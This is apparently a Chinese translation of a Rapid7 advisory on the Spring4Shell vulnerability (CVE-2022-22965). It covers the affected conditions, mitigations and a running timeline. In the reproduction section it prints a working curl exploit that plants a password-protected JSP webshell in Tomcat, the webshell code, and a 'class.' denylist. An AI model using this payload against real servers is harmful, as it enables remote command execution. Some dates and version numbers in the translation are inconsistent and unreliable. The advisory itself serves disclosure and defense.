Spring Framework 惊天大漏洞

3 月 31 日，Spring 官方表示，已经确认了这一零日漏洞，该漏洞已被登记为 CVE-2022-22965。而且，Spring 发布了修复性的 Spring Framework 5.3.18 与 5.2.20 版本。

以下为 Spring 官方对该漏洞的回应文章，经 AI 前线翻译。给 Rapid7 客户的应对提示

这次事件发展速度很快，我们也在继续调查验证关于这项漏洞及影响的更多消息。

截至 2022 年 3 月 31 日，Spring 已经确认了这一零日漏洞，并发布了修复性的 Spring Framework 5.3.18 与 5.2.20 版本。

该漏洞会影响到运行在 JDK 9+ 上的 SpringMV 与 Spring WebFlux 应用程序，而且已经被登记为 CVE-2022-22965。

我们将不断关注后续进展，但第一时间为大家带来最新消息。Application Security

tCell 将根据公开发布的有效载荷对特定类似的利用尝试进行检测；如果应用程序加载了任何包含漏洞的包（例如 CVE 2022-22965），tCell 同样会提醒客户，同时着力添加专门针对 Spring4Shell 的检测机制。

InsightAppSec 攻击模块也正在开发当中，预计将在 4 月 1 日面向所有 Application Security 客户开放。面向 Application Security 客户的更多指南与详细信息也将陆续公布。漏洞风险管理

我们团队正在为 InsightVM 及 Nexpose 客户进行身份验证与远程漏洞检查。我们将在下一次更新中发布更具体的 ETA（预估到达时间）。使用 Container Security 的 InsightVM 客户可以评估受漏洞影响的 Spring 版本所构建的各容器。目前，我们还没有比较好的方法识别出嵌入有 WAR 文件的受影响 JAR 文件。InsightIDR 及托管检测与响应

虽然 InsightIDR 无法直接检测此项漏洞，但我们提供基于行为的检测机制以提示常见的后续攻击活动。漏洞概述

我们正在持续调查和验证关于此项漏洞及其影响的更多消息。此次事件发展迅速，我们也在研究如何为漏洞管理、应用程序安全解决方案以及预防控制选项开发评估功能。在信息充足后，我们将进一步评估提供漏洞检查、攻击模块、检测与 Metasploit 模块的可行性。

虽然 Rapid7 无法直接检测此项漏洞，但我们提供基于行为的检测机制以提示常见的后续攻击活动。tCell 也将根据公开发布的有效载荷检测特定类型的利用行为。

截至 2022 年 3 月 31 日，Spring 已经确认了这一零日漏洞，并发布了修复性的 Spring Framework 5.3.18 与 5.2.20 版本。该漏洞会影响到运行在 JDK 9+ 上的 SpringMV 与 Spring WebFlux 应用程序，而且已经被登记为 CVE-2022-22965。

2022 年 3 月 30 日，一位以中文为母语的研究人员在 GitHub 上提交了一份概念验证代码，关于 Spring 框架存在远程代码执行漏洞的消息于是疯传。其中利用的，正是 Spring 框架内 Spring Core 模块当中的一个零日漏洞。

Spring 项目由 VMware 子公司 Spring.io 负责维护，现已得到众多 Java 企业软件框架的使用。提交的漏洞概念验证似乎允许未经身份验证的攻击者在目标系统上执行代码，但这项披露很快就被移除。

引发混乱的主要有以下几个原因：

首先，此漏洞（及概念验证）无法在安装 Spring 框架后直接使用。应用程序必须使用特定函数，这一点我们稍后会做解释。

其次，2022 年 3 月 29 日，Spring Cloud 也曾曝出另外一个完全不同的未经身份验证远程代码执行漏洞，致使部分社区成员将这两个问题混为一谈。

Rapid7 的研究团队已经确认此零日漏洞真实存在，可以实现未经身份验证的远程代码执行。漏洞的概念验证同样存在，但目前还不清楚有哪些应用程序实际使用到了之前提到的“特定函数”。截至 3 月 31 日，Spring 也已确认漏洞存在，发布了修复性的 Spring Framework 5.3.18 与 5.2.20 版本，同时强调该漏洞会影响到运行在 JDK 9+ 上的 SpringMV 与 Spring WebFlux 应用程序。已知风险

以下是目前已知的风险映射条件：

任何使用 5.2.20、5.3.18 及 JDK 9 或更高版本以下 Spring Framework 版本的组件，均被视为可能受漏洞影响；

任何满足上述条件且使用 @RequestMapping 注释与 Plain Old Java Object (POJO) 参数的组件，均被视为受漏洞影响且易受利用；

任何满足上述条件且运行有 Tomcat 的组件，均被视为极可能已遭利用（这是因为现存的恶意利用代码就是针对基于 Tomcat 的应用程序）。重现漏洞

此漏洞似乎会影响到使用 @RequestMapping 注释及 POJO (Plain Old Java Object) 参数的函数。下面来看我们的 Springframework MVC 入侵演示：

package net.javaguides.springmvc.helloworld.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;

import net.javaguides.springmvc.helloworld.model.HelloWorld;

/**
* @author Ramesh Fadatare
*/
@Controller
public class HelloWorldController {

  @RequestMapping("/rapid7")
  public void vulnerable(HelloWorld model) {
  }
}

这里我们有一个控制器 (HelloWorldController)，它在被加载至 Tomcat 中后将处理指向 http://name/appname/rapid7 的 HTTP 请求。处理请求的函数即前文提到的易受攻击函数，其中还包含一个 POJO 参数 HelloWorld。方便起见，这里我们去年了 HelloWorld；真实情境下的 POJO 可能非常复杂：

package net.javaguides.springmvc.helloworld.model;

public class HelloWorld {
  private String message;
}

整个利用过程如上所示，而且至少影响到 4.3.0 到 5.3.15 的各个 Spring Framework 版本（我们没有在低于 4.3.0 的版本中进行深入测试）。

如果我们编译一下项目再托管到 Tomcat 上，就能使用以下 curl 命令实现快速利用。请注意，下面使用的是与研究人员在最初概念验证中完全相同的有效载荷（具体情况稍后介绍）：

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7

这部分有效载荷会在 Tomcat ROOT 目录中放置一个名为 tomcatwar.jsp、受到密码保护的 webshell，内容如下：

- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -

之后，攻击者就可以调用相关命令了。以下示例就是执行 whoami 来获取 albinolobster：

Java 的版本将直接决定测试能否成功。我们在 OpenJDK 1.8.0_312 上测试失败，但在 OpenJDK 11.0.14.1 上则一切顺利。关于有效载荷

我们使用的有效载荷只针对 Tomcat 服务器。其中使用了一种 2014 年时就非常流行的技术，即通过 ClassLoader 更改 Tomcat 服务器的日志记录属性。有效载荷只是将日志记录逻辑重新定向至 ROOT 目录，并放置了相应文件与有效载荷。

这只是目前发现的一种利用方式，未来可能还会出现更多。相信我们也将很快见到其他涉及恶意类加载的有效载荷。应对指南

截至 2022 年 3 月 1 日，此项漏洞已被登记为 CVE-2022-22965，Spring Framework 也发布了 5.3.18 与 5.2.20 版本解决该问题。

Spring Framework 用户请根据网上公开的受影响应用程序入手，尽快更新至安全版本（详见「已知风险」部分）。对于组织用户，则应整理一份受影响应用程序清单，同时对流程执行与应用程序日志开展检查以监控异常活动。

Spring 也在官方博客上发布了关于此项漏洞的更多应对信息。Spring DataBinder 说明文档就明确指出：

……如未设置允许的字段数组，则可能引发潜在安全隐患。以 HTTP 表单的 POST 数据为例，恶意客户端可以提供表单上不存在的字段或属性值实现对应用程序的入侵。在某些情况下，攻击者可能成功在命令对象或其嵌套对象上设置非法数据。因此，我们强烈建议您在 DataBinder 上指定 allwedFields 属性。

因此，一种可行的应对方式就是修改自定义 Spring 应用程序中的源代码，确保这些字段得到充分防护。请注意，这种方式不适用于使用第三方应用程序的组织。

如果您的组织已经部署有 Web 应用程序防火墙（WAF），则应分析一切受到此 Spring 漏洞影响的应用程序，据此调整 WAF 检测规则集中的字符串以防范恶意利用行为。

如果组织无法修复或使用上述应对措施，也可以在基于 Spring 的应用程序系统内对流程执行进行建模，之后监控疑似“恶意利用”的异常活动。发现这类活动后应立即触发警报，并通过事件响应程序及安全自动化工具加以控制。但这种方法也有瓿，如果建模不够全面，则有可能出现漏报或误报。误解澄清

2022 年 3 月 29 日 Spring 项目则曝出另一个不相关漏洞，该零日漏洞同样引发巨大混乱。此漏洞被登记为 CVE-2022-22963，影响到的是 Spring Cloud Function，与 Spring Framework 没有关联。针对 CVE-2022-22963 涮，Spring 已经在 3 月 29 日发布了 3.1.7 与 3.2.3 两个修复版本。

此外，3 月 28 日还有另一个漏洞 CVE-2022-22950 被登记在案，修复程序也是当天发布。这个严重性为中等的漏洞（可能诱发 DoS 攻击）主要影响 Spring Framework 的 5.3.0 到 5.3.16 各版本。内容更新 2020 年 3 月 30 日晚 9 点（以下均为美国东部时间）

事态仍在发酵，Spring.io 尚未确认此漏洞。我们只能积极测试各种可能的漏洞利用方法及组合。在过渡期间，对于已经部署有核心 Spring Framework 或将其应用于关键业务应用程序的组织，我们已经验证出两种成功的缓解措施。另外，Rapid7 Labs 尚未发现此漏洞被实际利用的证据。

WAF 规则

对于已经部署 WAF 的组织，可以实施字符串过滤机制以抵御此次漏洞，具体包括”class.”、”Class.”、”.class.”以及”.Class.”。这些缓解技术本身确实有效，但请提前测试后再纳入生产部署。

从 Spring Framework 控制器入手

Praetorian 上分享了另一个比较麻烦、但切实有效的缓解策略，即在 Spring Framework 上禁用某些模式，即禁用一切包含“class”的调用。Praetorian 示例如下，麻烦之处在于需要重新编译代码。但如果之前提到的其他方法都不适用，那也只好如此。

import org.springframework.core.Ordered;

import org.springframework.core.annotation.Order;

import org.springframework.web.bind.WebDataBinder;

import org.springframework.web.bind.annotation.ControllerAdvice;

import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice

@Order(10000)

public class BinderControllerAdvice {

  @InitBinder

  public void setAllowedFields(WebDataBinder dataBinder) {

    String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};

    dataBinder.setDisallowedFields(denylist);

  }

}

截至 2022 年 3 月 31 日，Spring 已经确认了此项零日漏洞并全力组织紧急修复。此漏洞会影响到运行在 JDK 9+ 上的 SpringMVC 及 Spring WebFlux 应用程序。 2022 年 3 月 31 日早 10 点

此漏洞已被登记为 CVE-2022-22965。截至 2022 年 3 月 31 日，Spring 已经确认此项零日漏洞，并发布 5.3.17 与 5.2.20 两个 Spring Framework 版本加以应对。 2022 年 3 月 31 日早 12 点

本文新增“已知风险”章节，介绍已知或可能对应用程序造成安全影响的相关条件。 2022 年 3 月 31 日下午 4 点

如果应用程序加载了任何受漏洞影响的软件包（例如 CVE 2022-22965），则 tCell 将发出提醒。tCell 团队还在努力为 Spring4Shell 漏洞添加特定检测。InsightAppSec 攻击模块也在开发当中，预计在 4 月 1 日将发布给所有 Application Security 客户。更多应对指南与漏洞细节也将在 4 月 1 日公布。

使用 Container Security 的 InsightVM 客户现在可以评估由包含漏洞的 Spring 版本所创建的各容器。我们目前还无法准确识别一切嵌入有 WAR 文件的受影响 JAR 文件，研究工作还在继续。 2022 年 3 月 31 日晚 9 点

已经有多份报告指出，攻击者已经在互联网上扫描存在 Spring4Shell 漏洞的应用程序，实际攻击案例也已出现。SANS 互联网风暴中心此前证实发现了实际攻击事件。

Rapid7 团队正在对 InsightVM 及 Nexpose 客户进行身份验证与远程漏洞检查。

原文链接：

https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/